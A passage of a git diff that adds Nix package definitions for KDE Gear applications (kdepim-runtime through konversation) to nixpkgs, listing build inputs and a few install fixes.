inherit (sources.${pname}) version; + + cargoRoot = "plugins/webengineurlinterceptor/adblock"; + + cargoDeps = rustPlatform.fetchCargoTarball { + # include version in the name so we invalidate the FOD + name = "${pname}-${version}"; + src = sources.${pname}; + sourceRoot = "${pname}-${version}/${cargoRoot}"; + hash = cargoHash; + }; + + extraNativeBuildInputs = [ + rustPlatform.cargoSetupHook + cargo + rustc + ]; + + extraBuildInputs = [corrosion discount alpaka]; +} diff --git a/pkgs/kde/gear/kdepim-runtime/default.nix b/pkgs/kde/gear/kdepim-runtime/default.nix new file mode 100644 index 0000000000000..75c0d927ce801 --- /dev/null +++ b/pkgs/kde/gear/kdepim-runtime/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + shared-mime-info, + qtnetworkauth, + qtspeech, + qtwebengine, + cyrus_sasl, +}: +mkKdeDerivation { + pname = "kdepim-runtime"; + + extraNativeBuildInputs = [shared-mime-info]; + # FIXME: libkolabxml, libetebase + extraBuildInputs = [qtnetworkauth qtspeech qtwebengine cyrus_sasl]; +} diff --git a/pkgs/kde/gear/kdesdk-kio/default.nix b/pkgs/kde/gear/kdesdk-kio/default.nix new file mode 100644 index 0000000000000..24715d90f6c9b --- /dev/null +++ b/pkgs/kde/gear/kdesdk-kio/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdesdk-kio"; +} diff --git a/pkgs/kde/gear/kdesdk-thumbnailers/default.nix b/pkgs/kde/gear/kdesdk-thumbnailers/default.nix new file mode 100644 index 0000000000000..727fff83b3d24 --- /dev/null +++ b/pkgs/kde/gear/kdesdk-thumbnailers/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdesdk-thumbnailers"; +} diff --git a/pkgs/kde/gear/kdev-php/default.nix b/pkgs/kde/gear/kdev-php/default.nix new file mode 100644 index 0000000000000..79e34ab94b469 --- /dev/null +++ b/pkgs/kde/gear/kdev-php/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdev-php"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kdev-python/default.nix b/pkgs/kde/gear/kdev-python/default.nix new file mode 100644 index 0000000000000..91a52fc7226cb --- /dev/null +++ b/pkgs/kde/gear/kdev-python/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdev-python"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kdevelop/default.nix b/pkgs/kde/gear/kdevelop/default.nix new file mode 100644 index 0000000000000..c38d6f93681b9 --- /dev/null +++ b/pkgs/kde/gear/kdevelop/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + extra-cmake-modules, +}: +mkKdeDerivation { + pname = "kdevelop"; + + extraBuildInputs = [extra-cmake-modules]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kdf/default.nix b/pkgs/kde/gear/kdf/default.nix new file mode 100644 index 0000000000000..8021e701cbaaf --- /dev/null +++ b/pkgs/kde/gear/kdf/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdf"; +} diff --git a/pkgs/kde/gear/kdialog/default.nix b/pkgs/kde/gear/kdialog/default.nix new file mode 100644 index 0000000000000..2ef1266505789 --- /dev/null +++ b/pkgs/kde/gear/kdialog/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdialog"; +} diff --git a/pkgs/kde/gear/kdiamond/default.nix b/pkgs/kde/gear/kdiamond/default.nix new file mode 100644 index 0000000000000..a45a3c6f10936 --- /dev/null +++ b/pkgs/kde/gear/kdiamond/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "kdiamond"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/keditbookmarks/default.nix b/pkgs/kde/gear/keditbookmarks/default.nix new file mode 100644 index 0000000000000..8eec9c76ec75e --- /dev/null +++ b/pkgs/kde/gear/keditbookmarks/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "keditbookmarks"; +} diff --git a/pkgs/kde/gear/keysmith/default.nix b/pkgs/kde/gear/keysmith/default.nix new file mode 100644 index 0000000000000..a468409ff1828 --- /dev/null +++ b/pkgs/kde/gear/keysmith/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtsvg, + pkg-config, + libsodium, +}: +mkKdeDerivation { + pname = "keysmith"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtsvg libsodium]; +} diff --git a/pkgs/kde/gear/kfind/default.nix b/pkgs/kde/gear/kfind/default.nix new file mode 100644 index 0000000000000..c0216e3015759 --- /dev/null +++ b/pkgs/kde/gear/kfind/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qt5compat, +}: +mkKdeDerivation { + pname = "kfind"; + + extraBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/gear/kfourinline/default.nix b/pkgs/kde/gear/kfourinline/default.nix new file mode 100644 index 0000000000000..5e1d6fba0ef0a --- /dev/null +++ b/pkgs/kde/gear/kfourinline/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kfourinline"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kgeography/default.nix b/pkgs/kde/gear/kgeography/default.nix new file mode 100644 index 0000000000000..aa9f878bbb9b5 --- /dev/null +++ b/pkgs/kde/gear/kgeography/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kgeography"; +} diff --git a/pkgs/kde/gear/kget/default.nix b/pkgs/kde/gear/kget/default.nix new file mode 100644 index 0000000000000..d6a4fadfd5d66 --- /dev/null +++ b/pkgs/kde/gear/kget/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qgpgme, + libmms, +}: +mkKdeDerivation { + pname = "kget"; + + extraBuildInputs = [qgpgme libmms]; +} diff --git a/pkgs/kde/gear/kgoldrunner/default.nix b/pkgs/kde/gear/kgoldrunner/default.nix new file mode 100644 index 0000000000000..8d303e07cac72 --- /dev/null +++ b/pkgs/kde/gear/kgoldrunner/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "kgoldrunner"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/kgpg/default.nix b/pkgs/kde/gear/kgpg/default.nix new file mode 100644 index 0000000000000..65f9a55221b55 --- /dev/null +++ b/pkgs/kde/gear/kgpg/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + gpgme, +}: +mkKdeDerivation { + pname = "kgpg"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [gpgme]; +} diff --git a/pkgs/kde/gear/khangman/default.nix b/pkgs/kde/gear/khangman/default.nix new file mode 100644 index 0000000000000..27da76e397e3b --- /dev/null +++ b/pkgs/kde/gear/khangman/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "khangman"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/khealthcertificate/default.nix b/pkgs/kde/gear/khealthcertificate/default.nix new file mode 100644 index 0000000000000..6d5461bffc3c1 --- /dev/null +++ b/pkgs/kde/gear/khealthcertificate/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "khealthcertificate"; + + extraNativeBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/gear/khelpcenter/default.nix b/pkgs/kde/gear/khelpcenter/default.nix new file mode 100644 index 0000000000000..d60e16e3c163e --- /dev/null +++ b/pkgs/kde/gear/khelpcenter/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtwebengine, + xapian, +}: +mkKdeDerivation { + pname = "khelpcenter"; + + extraBuildInputs = [qtwebengine xapian]; +} diff --git a/pkgs/kde/gear/kidentitymanagement/default.nix b/pkgs/kde/gear/kidentitymanagement/default.nix new file mode 100644 index 0000000000000..c66c416fd7ce6 --- /dev/null +++ b/pkgs/kde/gear/kidentitymanagement/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kidentitymanagement"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/gear/kig/default.nix b/pkgs/kde/gear/kig/default.nix new file mode 100644 index 0000000000000..a3e4de99e6a8d --- /dev/null +++ b/pkgs/kde/gear/kig/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kig"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kigo/default.nix b/pkgs/kde/gear/kigo/default.nix new file mode 100644 index 0000000000000..819fb69b0c0f4 --- /dev/null +++ b/pkgs/kde/gear/kigo/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + _7zz, + qtsvg, +}: +mkKdeDerivation { + pname = "kigo"; + + extraNativeBuildInputs = [_7zz]; + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/killbots/default.nix b/pkgs/kde/gear/killbots/default.nix new file mode 100644 index 0000000000000..03dcdb0d31fe2 --- /dev/null +++ b/pkgs/kde/gear/killbots/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "killbots"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/kimagemapeditor/default.nix b/pkgs/kde/gear/kimagemapeditor/default.nix new file mode 100644 index 0000000000000..fa19f24cd34be --- /dev/null +++ b/pkgs/kde/gear/kimagemapeditor/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtwebengine, +}: +mkKdeDerivation { + pname = "kimagemapeditor"; + + extraBuildInputs = [qtwebengine]; +} diff --git a/pkgs/kde/gear/kimap/default.nix b/pkgs/kde/gear/kimap/default.nix new file mode 100644 index 0000000000000..d106166ec4a6f --- /dev/null +++ b/pkgs/kde/gear/kimap/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + cyrus_sasl, +}: +mkKdeDerivation { + pname = "kimap"; + + extraBuildInputs = [cyrus_sasl]; +} diff --git a/pkgs/kde/gear/kio-admin/default.nix b/pkgs/kde/gear/kio-admin/default.nix new file mode 100644 index 0000000000000..042253978983b --- /dev/null +++ b/pkgs/kde/gear/kio-admin/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kio-admin"; +} diff --git a/pkgs/kde/gear/kio-extras-kf5/default.nix b/pkgs/kde/gear/kio-extras-kf5/default.nix new file mode 100644 index 0000000000000..d92f7a61b8a27 --- /dev/null +++ b/pkgs/kde/gear/kio-extras-kf5/default.nix @@ -0,0 +1,62 @@ +{ + stdenv, + sources, + kio-extras, + cmake, + libsForQt5, + samba, + libssh, + libmtp, + libimobiledevice, + gperf, + libtirpc, + openexr, + taglib, + libappimage, +}: +stdenv.mkDerivation rec { + pname = "kio-extras-kf5"; + inherit (sources.${pname}) version; + + src = sources.${pname}; + + nativeBuildInputs = with libsForQt5; [ + cmake + extra-cmake-modules + wrapQtAppsHook + ]; + + buildInputs = with libsForQt5; [ + qtbase + + kactivities + kactivities-stats + karchive + kconfig + kconfigwidgets + kcoreaddons + kdbusaddons + kdnssd + kdoctools + kdsoap + kguiaddons + ki18n + kio + libkexiv2 + phonon + solid + syntax-highlighting + + samba + libssh + libmtp + libimobiledevice + gperf + libtirpc + openexr + taglib + libappimage + ]; + + meta = kio-extras.meta; +} diff --git a/pkgs/kde/gear/kio-extras/default.nix b/pkgs/kde/gear/kio-extras/default.nix new file mode 100644 index 0000000000000..b80f9175a5e9b --- /dev/null +++ b/pkgs/kde/gear/kio-extras/default.nix @@ -0,0 +1,45 @@ +{ + mkKdeDerivation, + qt5compat, + qtsvg, + pkg-config, + libkexiv2, + samba, + libssh, + libmtp, + libimobiledevice, + gperf, + libtirpc, + openexr, + taglib, + shared-mime-info, + libappimage, + xorg, + kio, +}: +mkKdeDerivation { + pname = "kio-extras"; + + extraNativeBuildInputs = [pkg-config shared-mime-info]; + extraBuildInputs = [ + qt5compat + qtsvg + libkexiv2 + + samba + libssh + libmtp + libimobiledevice + gperf + libtirpc + openexr + taglib + libappimage + xorg.libXcursor + ]; + + postInstall = '' + substituteInPlace $out/share/dbus-1/services/org.kde.kmtpd5.service \ + --replace-fail Exec=$out/libexec/kf6/kiod6 Exec=${kio}/libexec/kf6/kiod6 + ''; +} diff --git a/pkgs/kde/gear/kio-gdrive/default.nix b/pkgs/kde/gear/kio-gdrive/default.nix new file mode 100644 index 0000000000000..1c28dd3dcd10e --- /dev/null +++ b/pkgs/kde/gear/kio-gdrive/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kio-gdrive"; +} diff --git a/pkgs/kde/gear/kio-zeroconf/default.nix b/pkgs/kde/gear/kio-zeroconf/default.nix new file mode 100644 index 0000000000000..0b731162af835 --- /dev/null +++ b/pkgs/kde/gear/kio-zeroconf/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kio-zeroconf"; +} diff --git a/pkgs/kde/gear/kipi-plugins/default.nix b/pkgs/kde/gear/kipi-plugins/default.nix new file mode 100644 index 0000000000000..a0a074b86a97b --- /dev/null +++ b/pkgs/kde/gear/kipi-plugins/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kipi-plugins"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kirigami-gallery/default.nix b/pkgs/kde/gear/kirigami-gallery/default.nix new file mode 100644 index 0000000000000..e3ff036ad5e81 --- /dev/null +++ b/pkgs/kde/gear/kirigami-gallery/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kirigami-gallery"; + + extraBuildInputs = [qtsvg]; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kiriki/default.nix b/pkgs/kde/gear/kiriki/default.nix new file mode 100644 index 0000000000000..a8344ef973cb0 --- /dev/null +++ b/pkgs/kde/gear/kiriki/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kiriki"; +} diff --git a/pkgs/kde/gear/kiten/default.nix b/pkgs/kde/gear/kiten/default.nix new file mode 100644 index 0000000000000..5f87c6c66b395 --- /dev/null +++ b/pkgs/kde/gear/kiten/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kiten"; +} diff --git a/pkgs/kde/gear/kitinerary/default.nix b/pkgs/kde/gear/kitinerary/default.nix new file mode 100644 index 0000000000000..de3f4ef00005a --- /dev/null +++ b/pkgs/kde/gear/kitinerary/default.nix @@ -0,0 +1,21 @@ +{ + mkKdeDerivation, + qtsvg, + qtdeclarative, + shared-mime-info, + poppler, + libphonenumber, + protobuf, +}: +mkKdeDerivation { + pname = "kitinerary"; + + extraNativeBuildInputs = [shared-mime-info]; + extraBuildInputs = [ + qtsvg + qtdeclarative + poppler + libphonenumber + protobuf + ]; +} diff --git a/pkgs/kde/gear/kjournald/default.nix b/pkgs/kde/gear/kjournald/default.nix new file mode 100644 index 0000000000000..d03e8b815ae41 --- /dev/null +++ b/pkgs/kde/gear/kjournald/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtdeclarative, + pkg-config, + systemd, +}: +mkKdeDerivation { + pname = "kjournald"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtdeclarative systemd]; +} diff --git a/pkgs/kde/gear/kjumpingcube/default.nix b/pkgs/kde/gear/kjumpingcube/default.nix new file mode 100644 index 0000000000000..c13ece29da89e --- /dev/null +++ b/pkgs/kde/gear/kjumpingcube/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kjumpingcube"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/kldap/default.nix b/pkgs/kde/gear/kldap/default.nix new file mode 100644 index 0000000000000..99c17b1691478 --- /dev/null +++ b/pkgs/kde/gear/kldap/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + cyrus_sasl, + openldap, +}: +mkKdeDerivation { + pname = "kldap"; + + extraBuildInputs = [cyrus_sasl openldap]; +} diff --git a/pkgs/kde/gear/kleopatra/default.nix b/pkgs/kde/gear/kleopatra/default.nix new file mode 100644 index 0000000000000..58d3f4b5a9cf6 --- /dev/null +++ b/pkgs/kde/gear/kleopatra/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + shared-mime-info, + akonadi-mime, +}: +mkKdeDerivation { + pname = "kleopatra"; + + extraNativeBuildInputs = [shared-mime-info]; + extraBuildInputs = [akonadi-mime]; +} diff --git a/pkgs/kde/gear/klettres/default.nix b/pkgs/kde/gear/klettres/default.nix new file mode 100644 index 0000000000000..ecf58d98fc375 --- /dev/null +++ b/pkgs/kde/gear/klettres/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "klettres"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/klickety/default.nix b/pkgs/kde/gear/klickety/default.nix new file mode 100644 index 0000000000000..0df68937124b5 --- /dev/null +++ b/pkgs/kde/gear/klickety/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "klickety"; +} diff --git a/pkgs/kde/gear/klines/default.nix b/pkgs/kde/gear/klines/default.nix new file mode 100644 index 0000000000000..5399962382b06 --- /dev/null +++ b/pkgs/kde/gear/klines/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "klines"; +} diff --git a/pkgs/kde/gear/kmag/default.nix b/pkgs/kde/gear/kmag/default.nix new file mode 100644 index 0000000000000..24e6643b3b590 --- /dev/null +++ b/pkgs/kde/gear/kmag/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmag"; +} diff --git a/pkgs/kde/gear/kmahjongg/default.nix b/pkgs/kde/gear/kmahjongg/default.nix new file mode 100644 index 0000000000000..9ad776f3c6f4b --- /dev/null +++ b/pkgs/kde/gear/kmahjongg/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtsvg, + libkmahjongg, +}: +mkKdeDerivation { + pname = "kmahjongg"; + + extraBuildInputs = [qtdeclarative qtsvg]; + + qtWrapperArgs = ["--prefix XDG_DATA_DIRS : ${libkmahjongg}/share"]; +} diff --git a/pkgs/kde/gear/kmail-account-wizard/default.nix b/pkgs/kde/gear/kmail-account-wizard/default.nix new file mode 100644 index 0000000000000..d030eabcce015 --- /dev/null +++ b/pkgs/kde/gear/kmail-account-wizard/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmail-account-wizard"; +} diff --git a/pkgs/kde/gear/kmail/default.nix b/pkgs/kde/gear/kmail/default.nix new file mode 100644 index 0000000000000..f3f659fbaf5f7 --- /dev/null +++ b/pkgs/kde/gear/kmail/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmail"; +} diff --git a/pkgs/kde/gear/kmailtransport/default.nix b/pkgs/kde/gear/kmailtransport/default.nix new file mode 100644 index 0000000000000..cf1bf8c1b2233 --- /dev/null +++ b/pkgs/kde/gear/kmailtransport/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmailtransport"; +} diff --git a/pkgs/kde/gear/kmbox/default.nix b/pkgs/kde/gear/kmbox/default.nix new file mode 100644 index 0000000000000..ef840d3eda4d4 --- /dev/null +++ b/pkgs/kde/gear/kmbox/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmbox"; +} diff --git a/pkgs/kde/gear/kmime/default.nix b/pkgs/kde/gear/kmime/default.nix new file mode 100644 index 0000000000000..52e2b97da3924 --- /dev/null +++ b/pkgs/kde/gear/kmime/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmime"; +} diff --git a/pkgs/kde/gear/kmines/default.nix b/pkgs/kde/gear/kmines/default.nix new file mode 100644 index 0000000000000..32a8c179f0ec4 --- /dev/null +++ b/pkgs/kde/gear/kmines/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmines"; +} diff --git a/pkgs/kde/gear/kmix/default.nix b/pkgs/kde/gear/kmix/default.nix new file mode 100644 index 0000000000000..b83392baa7dfc --- /dev/null +++ b/pkgs/kde/gear/kmix/default.nix @@ -0,0 +1,6 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmix"; + # FIXME(qt5) + meta.broken = true; +} diff --git a/pkgs/kde/gear/kmousetool/default.nix b/pkgs/kde/gear/kmousetool/default.nix new file mode 100644 index 0000000000000..8ba8615cbbe6c --- /dev/null +++ b/pkgs/kde/gear/kmousetool/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtmultimedia, + xorg, +}: +mkKdeDerivation { + pname = "kmousetool"; + + extraBuildInputs = [qtmultimedia xorg.libXt]; +} diff --git a/pkgs/kde/gear/kmouth/default.nix b/pkgs/kde/gear/kmouth/default.nix new file mode 100644 index 0000000000000..75d044b1c686c --- /dev/null +++ b/pkgs/kde/gear/kmouth/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtspeech, +}: +mkKdeDerivation { + pname = "kmouth"; + + extraBuildInputs = [qtspeech]; +} diff --git a/pkgs/kde/gear/kmplot/default.nix b/pkgs/kde/gear/kmplot/default.nix new file mode 100644 index 0000000000000..55f4a21d0e6a6 --- /dev/null +++ b/pkgs/kde/gear/kmplot/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kmplot"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/knavalbattle/default.nix b/pkgs/kde/gear/knavalbattle/default.nix new file mode 100644 index 0000000000000..6a98a2826d1f0 --- /dev/null +++ b/pkgs/kde/gear/knavalbattle/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "knavalbattle"; +} diff --git a/pkgs/kde/gear/knetwalk/default.nix b/pkgs/kde/gear/knetwalk/default.nix new file mode 100644 index 0000000000000..c77a714e59493 --- /dev/null +++ b/pkgs/kde/gear/knetwalk/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + _7zz, +}: +mkKdeDerivation { + pname = "knetwalk"; + + extraNativeBuildInputs = [_7zz]; +} diff --git a/pkgs/kde/gear/knights/default.nix b/pkgs/kde/gear/knights/default.nix new file mode 100644 index 0000000000000..1fa6519fe16e9 --- /dev/null +++ b/pkgs/kde/gear/knights/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtsvg, + qtspeech, + _7zz, +}: +mkKdeDerivation { + pname = "knights"; + + extraNativeBuildInputs = [_7zz]; + extraBuildInputs = [qtsvg qtspeech]; +} diff --git a/pkgs/kde/gear/knotes/default.nix b/pkgs/kde/gear/knotes/default.nix new file mode 100644 index 0000000000000..bca10fcf13da9 --- /dev/null +++ b/pkgs/kde/gear/knotes/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "knotes"; +} diff --git a/pkgs/kde/gear/koko/default.nix b/pkgs/kde/gear/koko/default.nix new file mode 100644 index 0000000000000..c2b42bc693e78 --- /dev/null +++ b/pkgs/kde/gear/koko/default.nix @@ -0,0 +1,46 @@ +{ + fetchurl, + mkKdeDerivation, + pkg-config, + qtmultimedia, + qtpositioning, + qtsvg, + exiv2, + kirigami-addons, + kquickimageeditor, +}: let + # URLs snapshotted through + # https://web.archive.org/save/$url + # Update when stale enough I guess? + admin1 = fetchurl { + url = "https://web.archive.org/web/20210714035424if_/http://download.geonames.org/export/dump/admin1CodesASCII.txt"; + sha256 = "0r783yzajs26hvccdy4jv2v06xfgadx2g90fz3yn7lx8flz4nhwm"; + }; + admin2 = fetchurl { + url = "https://web.archive.org/web/20210714035427if_/http://download.geonames.org/export/dump/admin2Codes.txt"; + sha256 = "1n5nzp3xblhr93rb1sadi5vfbw29slv5lc6cxq21h3x3cg0mwqh3"; + }; + cities1000 = fetchurl { + url = "https://web.archive.org/web/20210714035406if_/http://download.geonames.org/export/dump/cities1000.zip"; + sha256 = "0cwbfff8gzci5zrahh6d53b9b3bfv1cbwlv0k6076531i1c7md9p"; + }; +in + mkKdeDerivation { + pname = "koko"; + + prePatch = '' + ln -s ${admin1} src/admin1CodesASCII.txt + ln -s ${admin2} src/admin2Codes.txt + ln -s ${cities1000} src/cities1000.zip + ''; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtmultimedia + qtpositioning + qtsvg + exiv2 + kirigami-addons + kquickimageeditor + ]; + } diff --git a/pkgs/kde/gear/kolf/default.nix b/pkgs/kde/gear/kolf/default.nix new file mode 100644 index 0000000000000..94e170ae6d33b --- /dev/null +++ b/pkgs/kde/gear/kolf/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kolf"; +} diff --git a/pkgs/kde/gear/kollision/default.nix b/pkgs/kde/gear/kollision/default.nix new file mode 100644 index 0000000000000..325510cdf2eec --- /dev/null +++ b/pkgs/kde/gear/kollision/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kollision"; +} diff --git a/pkgs/kde/gear/kolourpaint/default.nix b/pkgs/kde/gear/kolourpaint/default.nix new file mode 100644 index 0000000000000..d5dbacca38430 --- /dev/null +++ b/pkgs/kde/gear/kolourpaint/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kolourpaint"; +} diff --git a/pkgs/kde/gear/kompare/default.nix b/pkgs/kde/gear/kompare/default.nix new file mode 100644 index 0000000000000..93580fc90dbf2 --- /dev/null +++ b/pkgs/kde/gear/kompare/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kompare"; +} diff --git a/pkgs/kde/gear/kongress/default.nix b/pkgs/kde/gear/kongress/default.nix new file mode 100644 index 0000000000000..8ac8807eb68ee --- /dev/null +++ b/pkgs/kde/gear/kongress/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kongress"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/gear/konqueror/default.nix b/pkgs/kde/gear/konqueror/default.nix new file mode 100644 index 0000000000000..09093db5f3587 --- /dev/null +++ b/pkgs/kde/gear/konqueror/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtwebengine, + hunspell, +}: +mkKdeDerivation { + pname = "konqueror"; + + extraBuildInputs = [qtwebengine hunspell]; + + extraCmakeFlags = [ + "-DWebEngineDictConverter_EXECUTABLE=${qtwebengine}/libexec/qwebengine_convert_dict" + ]; +} diff --git a/pkgs/kde/gear/konquest/default.nix b/pkgs/kde/gear/konquest/default.nix new file mode 100644 index 0000000000000..54bd2f6048ddb --- /dev/null +++ b/pkgs/kde/gear/konquest/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtscxml, + qtsvg, +}: +mkKdeDerivation { + pname = "konquest"; + + extraBuildInputs = [qtscxml qtsvg]; +} diff --git a/pkgs/kde/gear/konsole/default.nix b/pkgs/kde/gear/konsole/default.nix new file mode 100644 index 0000000000000..8cd29b8a4f917 --- /dev/null +++ b/pkgs/kde/gear/konsole/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qt5compat, + qtmultimedia, +}: +mkKdeDerivation { + pname = "konsole"; + + extraBuildInputs = [qt5compat qtmultimedia]; +} diff --git a/pkgs/kde/gear/kontact/default.nix b/pkgs/kde/gear/kontact/default.nix new file mode 100644 index 0000000000000..fe258eea446bb --- /dev/null +++ b/pkgs/kde/gear/kontact/default.nix @@ -0,0 +1,23 @@ +{ + mkKdeDerivation, + qtwebengine, + akregator, + kaddressbook, + kmail, + knotes, + korganizer, + zanshin, +}: +mkKdeDerivation { + pname = "kontact"; + + extraBuildInputs = [ + qtwebengine + akregator + kaddressbook + kmail + knotes + korganizer + zanshin + ]; +} diff --git a/pkgs/kde/gear/kontactinterface/default.nix b/pkgs/kde/gear/kontactinterface/default.nix new file mode 100644 index 0000000000000..4c7d6acab1ca7 --- /dev/null +++ b/pkgs/kde/gear/kontactinterface/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kontactinterface"; +} diff --git a/pkgs/kde/gear/kontrast/default.nix b/pkgs/kde/gear/kontrast/default.nix new file mode 100644 index 0000000000000..60bf03534ba19 --- /dev/null +++ b/pkgs/kde/gear/kontrast/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + qcoro, +}: +mkKdeDerivation { + pname = "kontrast"; + + extraBuildInputs = [qtsvg qcoro]; +} diff --git a/pkgs/kde/gear/konversation/default.nix b/pkgs/kde/gear/konversation/default.nix new file mode 100644 index 